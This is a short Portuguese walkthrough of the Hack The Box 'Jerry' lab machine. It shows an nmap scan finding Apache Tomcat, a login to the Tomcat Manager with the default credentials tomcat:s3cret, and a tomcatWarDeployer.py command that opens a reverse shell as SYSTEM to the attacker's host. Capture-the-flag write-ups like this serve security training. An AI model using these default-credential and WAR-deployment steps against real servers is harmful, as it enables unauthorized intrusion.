Hack The Box - Jerry

1.jpg

Enumeration

Hehehe, olha eu aqui novamentee

Iniciando com o nmap

root@kali:~/HTB-Windows/jerry# nmap -sV -p- -A -sC -T4 -oA nmap/init 10.10.10.95
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-02 17:22 EDT
Nmap scan report for 10.10.10.95
Host is up (0.20s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows Vista (86%)
OS CPE: cpe:/o:microsoft:windows_vista::sp1:home_premium
Aggressive OS guesses: Microsoft Windows Vista Home Premium SP1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   214.34 ms 10.10.14.1
2   205.73 ms 10.10.10.95

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1125.18 seconds

Find Exploit

Temos um Apache Tomcat/7.0.88 vamos explorar isso

Exploitation

Navegando ate o tomcat na pagina inicial temos algumas opcoes uma delas eh o Manager App quando clicamos ele pede senha para autenticar na application..

Se voce por qualquer cred, ele da erro e mostra o login default tomcat:s3cret, voce tbm poderia fazer bruteforce na tentativa de encontrar uma cred valida.

2.jpg

Usando o password default rapidamente fazemos login e assim vamos explorar esse acesso e obter uma reverse shell

um pouco mais abaixo encontramos informacoes sobre o server rodando em backgroud

3.jpg

Privilege Escalation

reference https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/

Usando tomcatWarDeployer.py

Usando o tomcatWarDeployer.py conseguimos rapidamente obter uma reverse shell como SYSTEM

python tomcatWarDeployer.py -U tomcat -P s3cret -H 10.10.14.37 -p 53 10.10.10.95:8080

4.jpg

Mapa Mental

5.jpg